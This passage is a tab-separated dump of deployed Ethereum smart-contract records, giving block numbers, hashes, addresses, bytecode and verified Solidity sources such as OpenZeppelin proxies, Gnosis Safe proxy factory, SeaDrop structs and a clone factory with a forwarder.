a contract\n require(target.code.length > 0, \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /\n @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n \n _Available since v4.3._\n /\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n" }, "src/lib/ERC721SeaDropStructs.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { AllowListData, CreatorPayout } from \"./SeaDropStructs.sol\";\n\n/\n @notice A struct defining public drop data.\n * Designed to fit efficiently in two storage slots.\n \n @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token address. Null for\n * native token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n /\nstruct PublicDrop {\n uint80 startPrice; // 80/512 bits\n uint80 endPrice; // 160/512 bits\n uint40 startTime; // 200/512 bits\n uint40 endTime; // 240/512 bits\n address paymentToken; // 400/512 bits\n uint16 maxTotalMintableByWallet; // 416/512 bits\n uint16 feeBps; // 432/512 bits\n bool restrictFeeRecipients; // 440/512 bits\n}\n\n/\n @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n \n Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n \n @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token for the mint. Null for\n * native token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n /\nstruct MintParams {\n uint256 startPrice;\n uint256 endPrice;\n uint256 startTime;\n uint256 endTime;\n address paymentToken;\n uint256 maxTotalMintableByWallet;\n uint256 maxTokenSupplyForStage;\n uint256 dropStageIndex; // non-zero\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/\n @dev Struct containing internal SeaDrop implementation logic\n * mint details to avoid stack too deep.\n \n @param feeRecipient The fee recipient.\n * @param payer The payer of the mint.\n * @param minter The mint recipient.\n * @param quantity The number of tokens to mint.\n * @param withEffects Whether to apply state changes of the mint.\n /\nstruct MintDetails {\n address feeRecipient;\n address payer;\n address minter;\n uint256 quantity;\n bool withEffects;\n}\n\n/\n @notice A struct to configure multiple contract options in one transaction.\n /\nstruct MultiConfigureStruct {\n uint256 maxSupply;\n string baseURI;\n string contractURI;\n PublicDrop publicDrop;\n string dropURI;\n AllowListData allowListData;\n CreatorPayout[] creatorPayouts;\n bytes32 provenanceHash;\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n address[] allowedPayers;\n address[] disallowedPayers;\n // Server-signed\n address[] allowedSigners;\n address[] disallowedSigners;\n // ERC-2981\n address royaltyReceiver;\n uint96 royaltyBps;\n // Mint\n address mintRecipient;\n uint256 mintQuantity;\n}\n" } }, "settings": { "remappings": [ "forge-std/=lib/forge-std/src/", "ds-test/=lib/forge-std/lib/ds-test/src/", "ERC721A/=lib/ERC721A/contracts/", "ERC721A-Upgradeable/=lib/ERC721A-Upgradeable/contracts/", "@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/", "@openzeppelin-upgradeable/contracts/=lib/openzeppelin-contracts-upgradeable/contracts/", "@rari-capital/solmate/=lib/seaport/lib/solmate/", "murky/=lib/murky/src/", "create2-scripts/=lib/create2-helpers/script/", "seadrop/=src/", "seaport-sol/=lib/seaport/lib/seaport-sol/", "seaport-types/=lib/seaport/lib/seaport-types/", "seaport-core/=lib/seaport/lib/seaport-core/", "seaport-test-utils/=lib/seaport/test/foundry/utils/", "solady/=lib/solady/" ], "optimizer": { "enabled": true, "runs": 99999999 }, "metadata": { "useLiteralContent": false, "bytecodeHash": "none", "appendCBOR": true }, "outputSelection": { "": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "evmVersion": "paris", "libraries": {} } }}
1	19,499,705	54b0fc7f2e560fe994c90416b8796e3c53d435dd7a4983d6026f9be183921973	3ed1b43372e4367ee998a0ba75682f0f072f33efd0597ab7ac2259c1841a0f68	9f73979ad88270d84d0620e1c30782c46a71fd32	a6b71e26c5e0845f74c812102ca7114b6a896ab2	3ea4e3aee8a9a614fc7182c2af568a6b30fec8f7	608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552	608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033	// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <richard@gnosis.io> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <stefan@gnosis.io> /// @author Richard Meissner - <richard@gnosis.io> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <stefan@gnosis.pm> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1	19,499,705	54b0fc7f2e560fe994c90416b8796e3c53d435dd7a4983d6026f9be183921973	caf95f3e09bf76ab41527d363cb76f07d2d15a46e529df11ece03b5227fe5e30	49357ba0ef3a8dac25903472eee45c41221d4f9a	12715a66773bd9c54534a01abf01d05f6b4bd35e	3fb6280419ff50187f9e9427441650fedc7dd6bf	7f602036038060203d373d3d3d923d343d355af13d82803e903d91601e57fd5bf33d5260203df3	602036038060203d373d3d3d923d343d355af13d82803e903d91601e57fd5bf3
1	19,499,708	a3daa84a608a7a7739d2e1aed70f044b8119ddb8977df0c7b60a06d1a8323647	9ca487697e89adec9f453c6802282b437f610b22b185549cf286262091f6e226	83255b06dc6377d097eadd9ada0f69112dd79509	7335db10622eecdeffadaee7f2454e37aedf7002	36a89d58230a00e8901d15e31b463ac00e8c85ca	60a03461009757601f6102cd38819003918201601f19168301916001600160401b0383118484101761009c5780849260209460405283398101031261009757516001600160a01b0381169081810361009757608052604051907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e600080a261021a90816100b382396080518181816028015260ef0152f35b600080fd5b634e487b7160e01b600052604160045260246000fdfe6080806040523615610016575b6100146100da565b005b635c60da1b60e01b81526020816004817f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165afa9081156100ce57600091610071575b5061006b9061017d565b3861000c565b6020913d83116100c6575b601f8301601f191682019067ffffffffffffffff8211838310176100b2575060405261006b916100ac910161019e565b90610061565b634e487b7160e01b81526041600452602490fd5b3d925061007c565b6040513d6000823e3d90fd5b604051635c60da1b60e01b81526020816004817f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165afa80156100ce57600090610133575b610131915061017d565b565b6020903d8211610175575b601f8201601f191683019067ffffffffffffffff8211848310176100b2575060405261013191610170918101906101c5565b610127565b3d915061013e565b90506000808092368280378136915af43d82803e1561019a573d90f35b3d90fd5b602090607f1901126101c0576080516001600160a01b03811681036101c05790565b600080fd5b908160209103126101c057516001600160a01b03811681036101c0579056fea2646970667358221220c478b1615b0d76011a7874324ac15b3d7fb464e980c3c09d2d779b62a970e18664736f6c6343000811003300000000000000000000000023b0c2381075df4002bc6d3b9baf52ab0acb1e9b	6080806040523615610016575b6100146100da565b005b635c60da1b60e01b81526020816004817f00000000000000000000000023b0c2381075df4002bc6d3b9baf52ab0acb1e9b6001600160a01b03165afa9081156100ce57600091610071575b5061006b9061017d565b3861000c565b6020913d83116100c6575b601f8301601f191682019067ffffffffffffffff8211838310176100b2575060405261006b916100ac910161019e565b90610061565b634e487b7160e01b81526041600452602490fd5b3d925061007c565b6040513d6000823e3d90fd5b604051635c60da1b60e01b81526020816004817f00000000000000000000000023b0c2381075df4002bc6d3b9baf52ab0acb1e9b6001600160a01b03165afa80156100ce57600090610133575b610131915061017d565b565b6020903d8211610175575b601f8201601f191683019067ffffffffffffffff8211848310176100b2575060405261013191610170918101906101c5565b610127565b3d915061013e565b90506000808092368280378136915af43d82803e1561019a573d90f35b3d90fd5b602090607f1901126101c0576080516001600160a01b03811681036101c05790565b600080fd5b908160209103126101c057516001600160a01b03811681036101c0579056fea2646970667358221220c478b1615b0d76011a7874324ac15b3d7fb464e980c3c09d2d779b62a970e18664736f6c63430008110033	{{ "language": "Solidity", "sources": { "@openzeppelin/contracts/proxy/beacon/IBeacon.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)\n\npragma solidity ^0.8.0;\n\n/*\n @dev This is the interface that {BeaconProxy} expects of its beacon.\n /\ninterface IBeacon {\n /\n @dev Must return an address that can be used as a delegate call target.\n \n {BeaconProxy} will check that this address is a contract.\n /\n function implementation() external view returns (address);\n}\n" }, "@openzeppelin/contracts/proxy/Proxy.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)\n\npragma solidity ^0.8.0;\n\n/\n @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n \n Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n \n The success and return data of the delegated call will be returned back to the caller of the proxy.\n /\nabstract contract Proxy {\n /\n @dev Delegates the current call to `implementation`.\n \n This function does not return to its internal call site, it will return directly to the external caller.\n /\n function _delegate(address implementation) internal virtual {\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /\n @dev This is a virtual function that should be overridden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n /\n function _implementation() internal view virtual returns (address);\n\n /\n @dev Delegates the current call to the address returned by `_implementation()`.\n \n This function does not return to its internal call site, it will return directly to the external caller.\n /\n function _fallback() internal virtual {\n _beforeFallback();\n _delegate(_implementation());\n }\n\n /\n @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n /\n fallback() external payable virtual {\n _fallback();\n }\n\n /\n @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n * is empty.\n /\n receive() external payable virtual {\n _fallback();\n }\n\n /\n @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n * call, or as part of the Solidity `fallback` or `receive` functions.\n \n If overridden should call `super._beforeFallback()`.\n /\n function _beforeFallback() internal virtual {}\n}\n" }, "contracts/utils/BeaconProxy.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/beacon/IBeacon.sol\";\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\n\n/// @custom:security-contact security@p00ls.com\ncontract BeaconProxy is Proxy {\n IBeacon private immutable _beacon;\n\n event BeaconUpgraded(IBeacon indexed beacon);\n\n constructor(IBeacon beacon)\n {\n _beacon = beacon;\n emit BeaconUpgraded(beacon);\n }\n\n function _implementation()\n internal\n view\n override\n returns (address)\n {\n return _beacon.implementation();\n }\n}\n" } }, "settings": { "optimizer": { "enabled": true, "runs": 200 }, "viaIR": true, "debug": { "revertStrings": "strip" }, "outputSelection": { "": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} } }}
1	19,499,708	a3daa84a608a7a7739d2e1aed70f044b8119ddb8977df0c7b60a06d1a8323647	9ca487697e89adec9f453c6802282b437f610b22b185549cf286262091f6e226	83255b06dc6377d097eadd9ada0f69112dd79509	7335db10622eecdeffadaee7f2454e37aedf7002	e42b317e29818cc800ea1d27d47ddda646b8fd88	60a03461009757601f6102cd38819003918201601f19168301916001600160401b0383118484101761009c5780849260209460405283398101031261009757516001600160a01b0381169081810361009757608052604051907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e600080a261021a90816100b382396080518181816028015260ef0152f35b600080fd5b634e487b7160e01b600052604160045260246000fdfe6080806040523615610016575b6100146100da565b005b635c60da1b60e01b81526020816004817f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165afa9081156100ce57600091610071575b5061006b9061017d565b3861000c565b6020913d83116100c6575b601f8301601f191682019067ffffffffffffffff8211838310176100b2575060405261006b916100ac910161019e565b90610061565b634e487b7160e01b81526041600452602490fd5b3d925061007c565b6040513d6000823e3d90fd5b604051635c60da1b60e01b81526020816004817f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165afa80156100ce57600090610133575b610131915061017d565b565b6020903d8211610175575b601f8201601f191683019067ffffffffffffffff8211848310176100b2575060405261013191610170918101906101c5565b610127565b3d915061013e565b90506000808092368280378136915af43d82803e1561019a573d90f35b3d90fd5b602090607f1901126101c0576080516001600160a01b03811681036101c05790565b600080fd5b908160209103126101c057516001600160a01b03811681036101c0579056fea2646970667358221220c478b1615b0d76011a7874324ac15b3d7fb464e980c3c09d2d779b62a970e18664736f6c63430008110033000000000000000000000000f6fd7647cacc1d570f328fc0f09d9118041ea172	6080806040523615610016575b6100146100da565b005b635c60da1b60e01b81526020816004817f000000000000000000000000f6fd7647cacc1d570f328fc0f09d9118041ea1726001600160a01b03165afa9081156100ce57600091610071575b5061006b9061017d565b3861000c565b6020913d83116100c6575b601f8301601f191682019067ffffffffffffffff8211838310176100b2575060405261006b916100ac910161019e565b90610061565b634e487b7160e01b81526041600452602490fd5b3d925061007c565b6040513d6000823e3d90fd5b604051635c60da1b60e01b81526020816004817f000000000000000000000000f6fd7647cacc1d570f328fc0f09d9118041ea1726001600160a01b03165afa80156100ce57600090610133575b610131915061017d565b565b6020903d8211610175575b601f8201601f191683019067ffffffffffffffff8211848310176100b2575060405261013191610170918101906101c5565b610127565b3d915061013e565b90506000808092368280378136915af43d82803e1561019a573d90f35b3d90fd5b602090607f1901126101c0576080516001600160a01b03811681036101c05790565b600080fd5b908160209103126101c057516001600160a01b03811681036101c0579056fea2646970667358221220c478b1615b0d76011a7874324ac15b3d7fb464e980c3c09d2d779b62a970e18664736f6c63430008110033	{{ "language": "Solidity", "sources": { "@openzeppelin/contracts/proxy/beacon/IBeacon.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)\n\npragma solidity ^0.8.0;\n\n/*\n @dev This is the interface that {BeaconProxy} expects of its beacon.\n /\ninterface IBeacon {\n /\n @dev Must return an address that can be used as a delegate call target.\n \n {BeaconProxy} will check that this address is a contract.\n /\n function implementation() external view returns (address);\n}\n" }, "@openzeppelin/contracts/proxy/Proxy.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)\n\npragma solidity ^0.8.0;\n\n/\n @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n \n Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n \n The success and return data of the delegated call will be returned back to the caller of the proxy.\n /\nabstract contract Proxy {\n /\n @dev Delegates the current call to `implementation`.\n \n This function does not return to its internal call site, it will return directly to the external caller.\n /\n function _delegate(address implementation) internal virtual {\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /\n @dev This is a virtual function that should be overridden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n /\n function _implementation() internal view virtual returns (address);\n\n /\n @dev Delegates the current call to the address returned by `_implementation()`.\n \n This function does not return to its internal call site, it will return directly to the external caller.\n /\n function _fallback() internal virtual {\n _beforeFallback();\n _delegate(_implementation());\n }\n\n /\n @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n /\n fallback() external payable virtual {\n _fallback();\n }\n\n /\n @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n * is empty.\n /\n receive() external payable virtual {\n _fallback();\n }\n\n /\n @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n * call, or as part of the Solidity `fallback` or `receive` functions.\n \n If overridden should call `super._beforeFallback()`.\n /\n function _beforeFallback() internal virtual {}\n}\n" }, "contracts/utils/BeaconProxy.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/beacon/IBeacon.sol\";\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\n\n/// @custom:security-contact security@p00ls.com\ncontract BeaconProxy is Proxy {\n IBeacon private immutable _beacon;\n\n event BeaconUpgraded(IBeacon indexed beacon);\n\n constructor(IBeacon beacon)\n {\n _beacon = beacon;\n emit BeaconUpgraded(beacon);\n }\n\n function _implementation()\n internal\n view\n override\n returns (address)\n {\n return _beacon.implementation();\n }\n}\n" } }, "settings": { "optimizer": { "enabled": true, "runs": 200 }, "viaIR": true, "debug": { "revertStrings": "strip" }, "outputSelection": { "": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} } }}
1	19,499,709	d61c150b109f33743c76959d0efd6d61fded8c12f30d1da839a6f8b5f2b63a3b	d7467984b75ed92563070da1a0d92f56f6a5bd7197b86d92a22f73c5d0dbcfd2	acc1735efed1c3cdbe380a8bfb6075947a728650	ffa397285ce46fb78c588a9e993286aac68c37cd	e36f7b5ad03976646b7490005c6353362bbbebb3	3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3	pragma solidity 0.7.5; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. / //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target, bytes32 salt) internal returns (address payable result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the clone contract data let clone := mload(0x40) // The bytecode block below is responsible for contract initialization // during deployment, it is worth noting the proxied contract constructor will not be called during // the cloning procedure and that is why an initialization function needs to be called after the // clone is created mstore( clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) // This stores the address location of the implementation contract // so that the proxy knows where to delegate call logic to mstore(add(clone, 0x14), targetBytes) // The bytecode block is the actual code that is deployed for each clone created. // It forwards all calls to the already deployed implementation via a delegatecall mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // deploy the contract using the CREATE2 opcode // this deploys the minimal proxy defined above, which will proxy all // calls to use the logic defined in the implementation contract `target` result := create2(0, clone, 0x37, salt) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the comparison clone let clone := mload(0x40) // The next three lines store the expected bytecode for a miniml proxy // that targets `target` as its implementation contract mstore( clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000 ) mstore(add(clone, 0xa), targetBytes) mstore( add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // the next two lines store the bytecode of the contract that we are checking in memory let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) // Check if the expected bytecode equals the actual bytecode and return the result result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } /* * Contract that exposes the needed erc20 token functions / abstract contract ERC20Interface { // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public virtual returns (bool success); // Get the account balance of another account with address _owner function balanceOf(address _owner) public virtual view returns (uint256 balance); } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } /* * Contract that will forward any incoming Ether to the creator of the contract * / contract Forwarder { // Address to which any funds sent to 